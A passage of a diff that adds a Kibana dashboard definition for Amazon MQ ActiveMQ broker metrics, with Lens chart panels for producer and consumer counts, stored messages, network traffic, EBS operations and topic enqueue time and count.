+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ ]
+ },
+ {
+ "accessors": [
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "950f9c94-6e0a-442b-aac9-563db74dc340",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "2d23bba6-7cc8-49ad-9d2a-973c52f075f3",
+ "xAccessor": "43dd70ab-652d-43d9-8fdd-8825a4d400a6",
+ "yConfig": [
+ {
+ "axisMode": "left",
+ "forAccessor": "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom",
+ "shouldTruncate": false
+ },
+ "preferredSeriesType": "line",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "Consumer count is the number of messages consumers subscribed to destinations on the current broker.\n\nProducer count is the number of message producers active on destinations on the current broker.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "2a409820-b562-44e5-905b-4ac12a9471a2",
+ "w": 16,
+ "x": 32,
+ "y": 14
+ },
+ "panelIndex": "2a409820-b562-44e5-905b-4ac12a9471a2",
+ "title": "Producer vs Consumer count",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Total messages",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.TotalMessageCount.max"
+ },
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "yConfig": [
+ {
+ "axisMode": "left",
+ "forAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom",
+ "shouldTruncate": false
+ },
+ "preferredSeriesType": "line",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "The number of messages stored on the broker.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "8199eef4-d274-432e-bc63-63e060a6e721",
+ "w": 16,
+ "x": 0,
+ "y": 28
+ },
+ "panelIndex": "8199eef4-d274-432e-bc63-63e060a6e721",
+ "title": "Total messages count",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "950f9c94-6e0a-442b-aac9-563db74dc340": {
+ "columnOrder": [
+ "2d23bba6-7cc8-49ad-9d2a-973c52f075f3",
+ "43dd70ab-652d-43d9-8fdd-8825a4d400a6",
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ ],
+ "columns": {
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Outgoing traffic volume",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "bytes",
+ "params": {
+ "decimals": 2
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.NetworkOut.max"
+ },
+ "2d23bba6-7cc8-49ad-9d2a-973c52f075f3": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "1587b29a-ea56-40be-9ff7-4ed374edd2c6",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "43dd70ab-652d-43d9-8fdd-8825a4d400a6": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Incoming traffic volume",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "bytes",
+ "params": {
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.NetworkIn.max"
+ },
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "yConfig": []
+ },
+ {
+ "accessors": [
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "950f9c94-6e0a-442b-aac9-563db74dc340",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "2d23bba6-7cc8-49ad-9d2a-973c52f075f3",
+ "xAccessor": "43dd70ab-652d-43d9-8fdd-8825a4d400a6",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom",
+ "shouldTruncate": false
+ },
+ "preferredSeriesType": "line",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "NetworkIn is the volume of incoming traffic for the broker. NetworkOut is the volume of outgoing traffic for the broker.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344",
+ "w": 16,
+ "x": 16,
+ "y": 28
+ },
+ "panelIndex": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344",
+ "title": "Broker network traffic",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "950f9c94-6e0a-442b-aac9-563db74dc340": {
+ "columnOrder": [
+ "2d23bba6-7cc8-49ad-9d2a-973c52f075f3",
+ "43dd70ab-652d-43d9-8fdd-8825a4d400a6",
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ ],
+ "columns": {
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "EBS write operations",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.VolumeWriteOps.max"
+ },
+ "2d23bba6-7cc8-49ad-9d2a-973c52f075f3": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "1587b29a-ea56-40be-9ff7-4ed374edd2c6",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "43dd70ab-652d-43d9-8fdd-8825a4d400a6": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "EBS read operations",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.VolumeReadOps.max"
+ },
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "yConfig": [
+ {
+ "axisMode": "left",
+ "forAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ ]
+ },
+ {
+ "accessors": [
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "950f9c94-6e0a-442b-aac9-563db74dc340",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "2d23bba6-7cc8-49ad-9d2a-973c52f075f3",
+ "xAccessor": "43dd70ab-652d-43d9-8fdd-8825a4d400a6",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom",
+ "shouldTruncate": false
+ },
+ "preferredSeriesType": "line",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "Read operations volume is the number of read operations performed on the Amazon EBS volume.\n\nWrite operations volume is the number of write operations performed on the Amazon EBS volume.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa",
+ "w": 16,
+ "x": 32,
+ "y": 28
+ },
+ "panelIndex": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa",
+ "title": "EBS read operations vs write operations count",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "enhancements": {
+ "dynamicActions": {
+ "events": []
+ }
+ },
+ "hidePanelTitles": true,
+ "savedVis": {
+ "data": {
+ "aggs": [],
+ "searchSource": {
+ "filter": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ }
+ }
+ },
+ "description": "",
+ "id": "",
+ "params": {
+ "fontSize": 12,
+ "markdown": "#### Topic Metrics",
+ "openLinksInNewTab": false
+ },
+ "title": "",
+ "type": "markdown",
+ "uiState": {}
+ }
+ },
+ "gridData": {
+ "h": 3,
+ "i": "2dbdd9a4-6658-445d-9999-f153bbc357f6",
+ "w": 48,
+ "x": 0,
+ "y": 42
+ },
+ "panelIndex": "2dbdd9a4-6658-445d-9999-f153bbc357f6",
+ "title": "",
+ "type": "visualization"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "c01a91f8-d296-42ca-853d-edf813bc208b": {
+ "columnOrder": [
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "columns": {
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Topic",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Topic"
+ },
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "d4578b24-c384-4c74-bf14-a4900ebe1283": {
+ "customLabel": true,
+ "dataType": "number",
+ "filter": {
+ "language": "kuery",
+ "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\""
+ },
+ "isBucketed": false,
+ "label": "Enqueue time",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "duration",
+ "params": {
+ "compact": true,
+ "decimals": 0,
+ "fromUnit": "milliseconds",
+ "toUnit": "humanizePrecise"
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueTime.avg"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "layers": [
+ {
+ "accessors": [
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area_stacked",
+ "showGridlines": false,
+ "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0"
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area_stacked",
+ "title": "Empty XY chart",
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "enhancements": {}
+ },
+ "gridData": {
+ "h": 14,
+ "i": "3881c9bf-d72e-4f98-8373-721f9886883c",
+ "w": 16,
+ "x": 0,
+ "y": 45
+ },
+ "panelIndex": "3881c9bf-d72e-4f98-8373-721f9886883c",
+ "title": "Topic enqueue time",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "c01a91f8-d296-42ca-853d-edf813bc208b": {
+ "columnOrder": [
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "columns": {
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Topic",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Topic"
+ },
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "d4578b24-c384-4c74-bf14-a4900ebe1283": {
+ "customLabel": true,
+ "dataType": "number",
+ "filter": {
+ "language": "kuery",
+ "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\""
+ },
+ "isBucketed": false,
+ "label": "Enqueue count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueCount.sum"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e788bbcc-bd10-4a67-a1e4-b62775f429e4": {
+ "columnOrder": [
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd",
